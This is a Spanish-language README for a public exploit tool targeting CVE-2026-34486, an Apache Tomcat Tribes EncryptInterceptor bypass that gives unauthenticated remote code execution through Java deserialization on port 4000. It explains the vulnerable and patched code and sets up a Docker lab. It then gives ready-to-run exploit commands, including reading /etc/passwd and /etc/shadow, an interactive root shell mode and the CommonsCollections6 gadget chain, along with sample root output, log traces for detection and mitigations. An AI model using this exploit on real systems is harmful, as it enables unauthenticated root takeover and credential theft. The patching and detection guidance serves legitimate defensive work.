
Exploit para la omisión de EncryptInterceptor en Apache Tomcat que conduce a RCE no autenticado mediante deserialización de Java en el puerto 4000. Incluye configuración del laboratorio, shell interactiva y guía de detección.
Apache Tomcat El módulo de comunicación del clúster Tribes no descarta los mensajes cuando falla el descifrado de
EncryptInterceptor, lo que permite a atacantes no autenticados desencadenar Ejecución Remota de Código mediante deserialización de Java en el puerto 4000.
| Campo | Información |
|---|---|
| ID CVE | CVE-2026-34486 |
| Puntuación CVSS | 7.5 (Alta) |
| Componente | EncryptInterceptor de Apache Tomcat Tribes |
| Versiones Afectadas | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| Versiones Corregidas | 9.0.117 / 10.1.54 / 11.0.21 |
| Tipo de Vulnerabilidad | Ejecución Remota de Código no autenticada mediante Deserialización |
| Vector de Ataque | Red / Sin Autenticación / Baja Complejidad |
| Puerto de Ataque | TCP 4000 (Tribes NioReceiver) |
La función de agrupación en clúster de Apache Tomcat utiliza el framework Tribes para sincronizar datos de sesión entre nodos del clúster, escuchando en el puerto TCP 4000 por defecto.
Cuando EncryptInterceptor (AES/CBC) está habilitado, existe el siguiente fallo lógico:
// EncryptInterceptor.java — versión vulnerable
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// procesar mensaje descifrado...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // solo registra el error
}
super.messageReceived(msg); // ← ERROR: los bytes sin procesar se reenvían incluso tras fallar el descifrado
}
El bloque catch solo registra el error. Dado que super.messageReceived(msg) está fuera del try-catch, los bytes sin cifrar se reenvían a XByteBuffer.deserialize() → ObjectInputStream.readObject().
Un atacante puede enviar una carga útil de deserialización manipulada para desencadenar RCE sin ninguna autenticación.
Atacante ──TCP:4000──► NioReceiver (sin autenticación)
│
EncryptInterceptor.messageReceived()
try { descifrado AES/CBC → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← solo traza de registro
super.messageReceived(msg) ← ERROR: los bytes sin procesar pasan
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← se desencadena la deserialización
│
Cadena de gadgets CommonsCollections6
│
Runtime.exec() → RCE como root 🔴
La corrección mueve super.messageReceived(msg) dentro del bloque try, de modo que cualquier fallo de descifrado provoca que el mensaje se descarte silenciosamente (cierre ante fallo).
// EncryptInterceptor.java — versión parcheada
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// procesar...
super.messageReceived(msg); // ← CORREGIDO: solo se alcanza si el descifrado tiene éxito
} catch (Exception e) {
log.error("Failed to decrypt message", e); // el mensaje se descarta
}
}
java y javac en PATH)ysoserial-all.jarapache-tomcat-9.0.116 (para la librería Tribes)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# Verificar
curl http://localhost:8080
# exploit
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (para la librería Tribes)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# Verificar
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Salida: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target IP del objetivo (por defecto: 127.0.0.1)
-p, --port Puerto de Tribes (por defecto: 4000)
--http-port Puerto HTTP para recuperar la salida (por defecto: 8080)
-c, --command Ejecutar comando directamente (sin funciones de shell)
--rce Ejecutar comando y recuperar la salida mediante HTTP
--shell Modo shell interactivo
-g, --gadget Cadena de gadgets (por defecto: CommonsCollections6)
--ysoserial Ruta al jar de ysoserial
--tomcat-lib Ruta al directorio lib de Tomcat
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE
Objetivo : 127.0.0.1:4000
Gadget : CommonsCollections6
[*] Compilando TribesClient.java ...
[+] Compilado correctamente
[*] Generando carga útil de CommonsCollections6 ...
[+] Carga útil: 1361 bytes
[*] Enviando trama Tribes → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] ¡Trama enviada!
[*] Obteniendo resultado: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
La única traza de registro que deja el ataque:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
No se registra ninguna excepción de readObject: el comando se ejecuta silenciosamente.
| Acción | Prioridad |
|---|---|
| Actualizar a Tomcat 9.0.117 / 10.1.54 / 11.0.21 | Crítica |
| Restringir el puerto 4000 solo a IPs de clúster de confianza | Alta |
Supervisar los registros en busca de Failed to decrypt message repetidos | Media |
| Deshabilitar la agrupación en clúster de Tribes si no es necesaria | Alta |
Este proyecto está destinado únicamente a investigación de seguridad autorizada, pruebas de penetración y fines educativos. No utilice esta herramienta contra sistemas que no posea o para los que no tenga permiso explícito de prueba. El autor no asume ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta.
Licencia MIT © 2026 404-src